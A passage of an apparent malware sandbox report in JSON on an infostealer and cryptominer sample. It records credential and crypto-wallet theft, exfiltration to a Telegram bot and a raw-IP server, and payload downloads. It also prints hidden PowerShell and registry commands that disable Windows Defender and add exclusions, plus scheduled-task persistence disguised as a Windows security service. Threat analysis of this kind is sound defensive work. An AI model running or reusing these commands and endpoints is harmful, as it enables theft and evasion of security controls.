"00000000-00006860.00000001.145325.62A3B000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=42127" - Source: "00000000-00006860.00000001.145325.62A3B000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0n+" - Source: "00000000-00006860.00000001.145325.62A3B000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0qs[\washington1redmond1microsoft" - Source: "00000000-00006860.00000001.145325.62A3B000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00006860.00000001.145325.62A3B000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbr" - Source: "00000000-00007148.00000000.143557.05BC2000.00000002.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbr9iqmgvw,czcmondv" - Source: "00000000-00007148.00000000.143557.60A32000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?eglobalsign" - Source: "00000000-00007148.00000000.143557.60A32000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00007148.00000000.143557.60A32000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00007148.00000000.143557.60A32000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00007148.00000000.143557.60A32000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;+>%ydigicert" - Source: "00000000-00007148.00000000.143557.60A32000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00007148.00000000.143557.60A32000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00007148.00000000.143557.60A32000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00007148.00000000.143557.60A32000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00007148.00000000.143557.60A32000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00007148.00000000.143557.60A32000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00007148.00000000.143557.60A32000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00007148.00000000.143557.60A32000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007148.00000000.143557.60A32000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl01.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00007148.00000000.143557.60A32000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007148.00000000.143557.60A32000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00007148.00000000.143557.60A32000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00007148.00000000.143557.60A32000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00007148.00000000.143557.60A32000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00007148.00000000.143557.60A32000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007148.00000000.143557.60A32000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00007148.00000000.143557.60A32000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007148.00000000.143557.60A32000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbrhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0y,mbr \"{\"chat_id\":\"7349189747\",\"text\":\"ð¥ ÐÐ¾Ð²ÑÐ¹ Ð¼Ð°Ð¹Ð½ÐµÑ\\n\\nð¥ Ð¥Ð¾ÑÑ: DESKTOP-FVVF82A\\nð¤ Ð®Ð·ÐµÑ: HAPUBWS\\nð IP: N/A\\nð° ÐÐ¾ÑÐµÐ»ÑÐº: 45rnsTkTâ¦C86xmwV2\\nâ ÐÑÐ»: stratum+tcp://77.91.97.172:3333\\nð§ CPU: AFK 80% / Active 30%\\nð§ ÐÑÐ¾ÑÐµÑÑÐ¾Ñ: Intel(R) Core(R) Gold 6240R CPU @ 2.40GHz\\nð® GPU: jZdjmgxVtG Graphics Adapter for Windows 8+\\nðµ ~0.000180 XMR/Ð´ÐµÐ½Ñ\\nð 2026-04-15 12:38:24\",\"parse_mode\":\"HTML\",\"disable_web_page_preview\":true}\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Observed sensitive data harvesting behavior","description":"Identified stealer based malicious activity","origin":"Indicator Combinations","relevance":7,"id":"summary-46","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Mail credentials from registry","description":"$81","origin":"Registry Access","mitre_attack_id":"T1114","relevance":3,"id":"registry-37","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal Putty/Winscp sessions from registry","description":"\"b71e6b3b093b.exe opens key \" (Path: \"HKCU\\SOFTWARE\\MARTIN PRIKRYL\\WINSCP 2\\SESSIONS\")","origin":"Registry Access","mitre_attack_id":"T1552.002","relevance":10,"id":"registry-74","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal browser sensitive information (file access)","description":"$82","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-96","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Tries to steal crypto wallet extension (file access)","description":"$83","origin":"API Call","mitre_attack_id":"T1005","relevance":10,"id":"api-114","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"$84","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]}],"incidents":[{"name":"Spyware","details_count":7,"details":[{"detail":"Hooks API calls"},{"detail":"POSTs data to a web server"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Tries to steal browser sensitive information (file access)"},{"detail":"Collects system information using POST request"},{"detail":"Found Putty/Winscp session related registry strings"},{"detail":"Found desktop apps credentials related location strings"}],"sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"Stealer/Phishing","details_count":3,"details":[{"detail":"Reads FTP client related files"},{"detail":"Tries to steal Mail credentials from registry"},{"detail":"Tries to steal Putty/Winscp sessions from registry"}],"sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"Persistence","details_count":5,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Schedules a task to be executed at a specific time and date"},{"detail":"Spawns many processes"}],"sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"Fingerprint","details_count":6,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Attempts to identify external IP address"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"},{"detail":"Tries to steal Mail credentials from registry"},{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"Evasive","details_count":4,"details":[{"detail":"Marks file for deletion"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"},{"detail":"Able to check if a debugger is running"},{"detail":"Attempts to disable Windows Defender using PowerShell"}],"sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"Exploit","details_count":1,"details":[{"detail":"GETs/downloads executable files from web server"}],"sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"Network","details_count":2,"details":[{"detail":"Calls an API typically used to create a HTTP or FTP session"},{"detail":"GETs executable from a web server (HTTPS)"}],"sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 5 domains and 5 hosts"}],"sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]}]},"activity":{"stats":{"process_count":22,"spawned_processes_count":22,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":33,"imported_dlls_count":125,"dropped_files_count":0,"extracted_files_count":13,"files_written_count":26,"files_deleted_count":0,"registry_keys_created_count":43,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":43,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":7,"dns_resolutions_count":5,"contacted_urls_count":5,"http_requests_count":5},"behavior_tags":["criminal","informationstealer","stealcv2","downloader","infostealer","evasive","miner"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"69df8682dae24ccfa6089daf","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["CZE","GBR","GEO","USA"],"submit_name":"d4d1f46ee0dcac7bb04ac3689a85c3e9afa4d21f0b96a1ba9ca1383476703ed3.bin","analysis_start_time":"2026-04-15T12:37:23+00:00","indicators_count":{"informative":277,"suspicious":100,"malicious":20},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"95.85.238.4","port":80,"protocol":"TCP","country":"Czechia","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"address":"140.82.113.4","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"address":"185.199.109.133","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"address":"208.95.112.1","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"address":"172.67.74.152","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"address":"149.154.166.110","port":443,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"address":"77.91.97.172","port":80,"protocol":"TCP","country":"Georgia","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]}],"dns_resolutions":[{"domain":"api.ipify.org","address":"172.67.74.152","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"domain":"api.telegram.org","address":"149.154.166.110","ttl":109,"country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"domain":"github.com","address":"140.82.113.4","ttl":60,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"domain":"ip-api.com","address":"208.95.112.1","ttl":60,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"domain":"raw.githubusercontent.com","address":"185.199.109.133","ttl":1502,"country":"United States","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]}],"http_requests":[{"host":"95.85.238.4","host_ip":"95.85.238.4:80","url":"/e99c8470d3ebe7696e4a.php","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /e99c8470d3ebe7696e4a.php HTTP/1.1\nContent-Type: application/json\nHost: 95.85.238.4\nContent-Length: 132\nConnection: Keep-Alive\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"host":"github.com","host_ip":"140.82.113.4:443","url":"/cblootah/test/raw/refs/heads/main/payload.exe","method":"GET","response_code":"302","response_phrase":"Found","header":"GET /cblootah/test/raw/refs/heads/main/payload.exe HTTP/1.1\nHost: github.com\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"host":"ip-api.com","host_ip":"208.95.112.1:80","url":"/json/?fields=countryCode","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /json/?fields=countryCode HTTP/1.1\naccept: */*\nhost: ip-api.com","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"host":"api.telegram.org","host_ip":"149.154.166.110:443","url":"/bot8623071631:AAHl8-fVI8DJbAGzp34p39nuMX_b-25qJIo/sendMessage","method":"POST","response_code":"400","response_phrase":"Bad Request","header":"POST /bot8623071631:AAHl8-fVI8DJbAGzp34p39nuMX_b-25qJIo/sendMessage HTTP/1.1\ncontent-type: application/json\ncontent-length: 580\naccept: */*\nhost: api.telegram.org","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"host":"77.91.97.172","host_ip":"77.91.97.172:80","url":"/xmrig.zip","method":"GET","response_code":"404","response_phrase":"NOT FOUND","header":"GET /xmrig.zip HTTP/1.1\naccept: */*\nuser-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\nhost: 77.91.97.172","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}],"processes":[{"pid":4068,"ppid":0,"name":"d4d1f46ee0dcac7bb04ac3689a85c3e9afa4d21f0b96a1ba9ca1383476703ed3.bin.exe","command_line":"","sha256":"d4d1f46ee0dcac7bb04ac3689a85c3e9afa4d21f0b96a1ba9ca1383476703ed3","normalized_path":"C:\\d4d1f46ee0dcac7bb04ac3689a85c3e9afa4d21f0b96a1ba9ca1383476703ed3.bin.exe","uid":"00000000-00004068","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAjUlEQVR4Xu2TQQrAIAwE/asP8zl5lsWDEJYqcU0pgQzsrUzGQ0tJkg211s4MPTSdwDUC5RbGcRHxiUC5hRngEoFyCzrgOgLlFjDgKgLlFt4C6AiUW1gFUBEotzB/w93wzhKUe5ABdEBrjZ4mboAXdAC+6mSauAFe0AH4qpNp4gZ4kQGxAsbHXwzvJL/yABjXBhKZjxnSAAAAAElFTkSuQmCC"},{"pid":5524,"ppid":4068,"name":"b71e6b3b093b.exe","command_line":"","sha256":"9a7c87d58a7ab1f2d99c5390d04c3875e41587b46f0632518e6108286ca45e2c","normalized_path":"%TEMP%\\b71e6b3b093b.exe","parent_uid":"00000000-00004068","uid":"00000000-00005524"},{"pid":3168,"ppid":5524,"name":"chrome.exe","command_line":"","sha256":"0cac3d17c4f4b83ad936cead2a7e79efcc2e0e39ee030a84477af95cffc2bc84","normalized_path":"%PROGRAMFILES%\\Google\\Chrome\\Application\\chrome.exe","parent_uid":"00000000-00005524","uid":"00000000-00003168"},{"pid":4720,"ppid":5524,"name":"msedge.exe","command_line":"","sha256":"a8c44496fdd640fbb279856bee17ec653a1be0a6ad5cc98b14964db81698c6fe","normalized_path":"%PROGRAMFILES%\\(x86)\\Microsoft\\Edge\\Application\\msedge.exe","parent_uid":"00000000-00005524","uid":"00000000-00004720"},{"pid":5400,"ppid":5524,"name":"rQxv6kD32KDt.exe","command_line":"","sha256":"4e14ef27a32eaca0ca88fe17e65ad0a88a0fd47d2ba7aef196b3f2c4b48aa06e","normalized_path":"%LOCALAPPDATA%\\rQxv6kD32KDt.exe","parent_uid":"00000000-00005524","uid":"00000000-00005400"},{"pid":6220,"ppid":5400,"name":"powershell.exe","command_line":"-WindowStyle Hidden -Command \"Add-MpPreference -ExclusionPath '%APPDATA%\\Microsoft\\SecurityHealth' -ExclusionProcess 'svchost.exe'\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005400","uid":"00000000-00006220"},{"pid":7148,"ppid":5400,"name":"powershell.exe","command_line":"-WindowStyle Hidden -Command \"Add-MpPreference -ExclusionExtension '*.json' -ExclusionProcess 'conhost.exe'\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005400","uid":"00000000-00007148"},{"pid":4320,"ppid":5400,"name":"cmd.exe","command_line":"\"cmd\" /c \"reg add \\\"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths\\\" /v \\\"%APPDATA%\\Microsoft\\SecurityHealth\\\" /t REG_DWORD /d 0 /f\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00005400","uid":"00000000-00004320"},{"pid":600,"ppid":4320,"name":"reg.exe","command_line":"reg add \\\"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths\\\" /v \\\"%APPDATA%\\Microsoft\\SecurityHealth\\\" /t REG_DWORD /d 0 /f","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00004320","uid":"00000000-00000600"},{"pid":1012,"ppid":5400,"name":"cmd.exe","command_line":"\"cmd\" /c \"reg add \\\"HKCU\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths\\\" /v \\\"%APPDATA%\\Microsoft\\SecurityHealth\\\" /t REG_DWORD /d 0 /f\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00005400","uid":"00000000-00001012"},{"pid":4356,"ppid":1012,"name":"reg.exe","command_line":"reg add \\\"HKCU\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths\\\" /v \\\"%APPDATA%\\Microsoft\\SecurityHealth\\\" /t REG_DWORD /d 0 /f","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00001012","uid":"00000000-00004356"},{"pid":724,"ppid":5400,"name":"cmd.exe","command_line":"\"cmd\" /c \"reg add \\\"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Processes\\\" /v \\\"svchost.exe\\\" /t REG_DWORD /d 0 /f\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00005400","uid":"00000000-00000724"},{"pid":6844,"ppid":724,"name":"reg.exe","command_line":"reg add \\\"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Processes\\\" /v \\\"svchost.exe\\\" /t REG_DWORD /d 0 /f","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00000724","uid":"00000000-00006844"},{"pid":6860,"ppid":5400,"name":"powershell.exe","command_line":"-WindowStyle Hidden -Command \"Set-MpPreference -DisableRealtimeMonitoring $false\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005400","uid":"00000000-00006860"},{"pid":6520,"ppid":5400,"name":"cmd.exe","command_line":"\"cmd\" /c \"reg add \\\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\\" /v \\\"DisableRealtimeMonitoring\\\" /t REG_DWORD /d 1 /f\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00005400","uid":"00000000-00006520"},{"pid":7520,"ppid":6520,"name":"reg.exe","command_line":"reg add \\\"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\\\" /v \\\"DisableRealtimeMonitoring\\\" /t REG_DWORD /d 1 /f","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00006520","uid":"00000000-00007520"},{"pid":8076,"ppid":5400,"name":"schtasks.exe","command_line":"\"schtasks\" /create /tn WindowsSecurityHealthService /tr \\\"%APPDATA%\\Microsoft\\SecurityHealth\\rQxv6kD32KDt.exe\\\" /sc onlogon /rl highest /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\system32\\schtasks.exe","parent_uid":"00000000-00005400","uid":"00000000-00008076"},{"pid":1588,"ppid":5400,"name":"schtasks.exe","command_line":"\"schtasks\" /create /tn WindowsSecurityHealthServiceMonitor /xml %TEMP%\\WindowsSecurityHealthServiceMonitor.xml /f","sha256":"3a0943826ebc7f6d76908e5bc6a14067265460b0742f89ae0f74b9380ef9a361","normalized_path":"%WINDIR%\\system32\\schtasks.exe","parent_uid":"00000000-00005400","uid":"00000000-00001588"},{"pid":7060,"ppid":5400,"name":"powershell.exe","command_line":"-WindowStyle Hidden -Command \"Add-MpPreference -ExclusionPath '%APPDATA%\\Microsoft\\SecurityHealth' -ExclusionProcess 'svchost.exe'\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005400","uid":"00000000-00007060"},{"pid":4348,"ppid":5400,"name":"powershell.exe","command_line":"-WindowStyle Hidden -Command \"Add-MpPreference -ExclusionExtension '*.json' -ExclusionProcess 'conhost.exe'\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00005400","uid":"00000000-00004348"},{"pid":5028,"ppid":5400,"name":"cmd.exe","command_line":"\"cmd\" /c \"reg add \\\"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths\\\" /v \\\"%APPDATA%\\Microsoft\\SecurityHealth\\\" /t REG_DWORD /d 0 /f\"","sha256":"ec436aeee41857eee5875efdb7166fe043349db5f58f3ee9fc4ff7f50005767f","normalized_path":"%WINDIR%\\system32\\cmd.exe","parent_uid":"00000000-00005400","uid":"00000000-00005028"},{"pid":3928,"ppid":5028,"name":"reg.exe","command_line":"reg add \\\"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions\\Paths\\\" /v \\\"%APPDATA%\\Microsoft\\SecurityHealth\\\" /t REG_DWORD /d 0 /f","sha256":"6b3ef0286b7f12b6dbd3bfe07f2473de16b30f2496a45985901f035cb509435f","normalized_path":"%WINDIR%\\system32\\reg.exe","parent_uid":"00000000-00005028","uid":"00000000-00003928"}],"all_imported_dlls":["iertutil.dll","dpapi.dll","Microsoft.PowerShell.Security.ni.dll","sppc.dll","schannel.dll","System.Transactions.dll","user32.dll","cryptbase.dll","System.Data.ni.dll","wmidcom.dll","OnDemandConnRouteHelper.dll","System.Core.ni.dll","KernelBase.dll","clbcatq.dll","fastprox.dll","ws2_32.dll","IPHLPAPI.DLL","propsys.dll","ucrtbase_clr0400.dll","System.Transactions.ni.dll","ucrtbase.dll","fltLib.dll","edputil.dll","userenv.dll","ole32.dll","crypt32.dll","winnsi.dll","urlmon.dll","shlwapi.dll","windows.storage.dll","profapi.dll","System.Management.ni.dll","Microsoft.PowerShell.Commands.Management.ni.dll","System.Numerics.ni.dll","cryptsp.dll","mskeyprotect.dll","atl.dll","psapi.dll","sspicli.dll","mswsock.dll","FWPUCLNT.DLL","wbemsvc.dll","oleaut32.dll","cfgmgr32.dll","setupapi.dll","combase.dll","advapi32.dll","msvcrt.dll","powrprof.dll","dnsapi.dll","pcacli.dll","vcruntime140_clr0400.dll","clrjit.dll","imagehlp.dll","mscorlib.ni.dll","System.Xml.ni.dll","gdi32.dll","msasn1.dll","nsi.dll","rsaenh.dll","clr.dll","kernel32.dll","version.dll","wldp.dll","sechost.dll","wininet.dll","winhttp.dll","gpapi.dll","sxs.dll","mscoree.dll","System.ni.dll","msvcp_win.dll","uxtheme.dll","bcrypt.dll","MpOAV.dll","miutils.dll","taskschd.dll","ntmarta.dll","bcryptprimitives.dll","SHCore.dll","msIso.dll","wintrust.dll","msedge_elf.dll","xmllite.dll","gdi32full.dll","shell32.dll","amsi.dll","secur32.dll","slc.dll","Microsoft.Management.Infrastructure.Native.ni.dll","wbemprox.dll","VxSSL64.dll","ncrypt.dll","sfc_os.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","rasadhlp.dll","ncryptsslp.dll","chrome_elf.dll","System.Management.Automation.ni.dll","System.DirectoryServices.ni.dll","ntdll.dll","imm32.dll","mpr.dll","apphelp.dll","GdiPlus.dll","msctf.dll","cryptnet.dll","Microsoft.Management.Infrastructure.Native.Unmanaged.dll","System.Data.dll","MpClient.dll","ntasn1.dll","Windows.StateRepositoryPS.dll","mscoreei.dll","YxdSgb4q.dll","System.Configuration.ni.dll","win32u.dll","rpcrt4.dll","aepic.dll","Microsoft.Management.Infrastructure.ni.dll","wbemcomn.dll","kernel.appcore.dll","RstrtMgr.dll","WindowsCodecs.dll","cldapi.dll","mi.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"certutil.dat","sha256":"b6ea3a3671c5e044d9f7b230c24ad2b41bcaa83565c3524af14fc84f2ffc66bd","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"rQxv6kD32KDt.exe","sha256":"b6ea3a3671c5e044d9f7b230c24ad2b41bcaa83565c3524af14fc84f2ffc66bd","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"b71e6b3b093b.exe","sha256":"9a7c87d58a7ab1f2d99c5390d04c3875e41587b46f0632518e6108286ca45e2c","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"69df8682dae24ccfa6089daf"}]},{"name":"WindowsSecurityHealthServiceMonitor.xml","sha256":"b06ae2e36b0c67381942938fe9845e88fd9113fab049ff476f2504cee7515458","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69d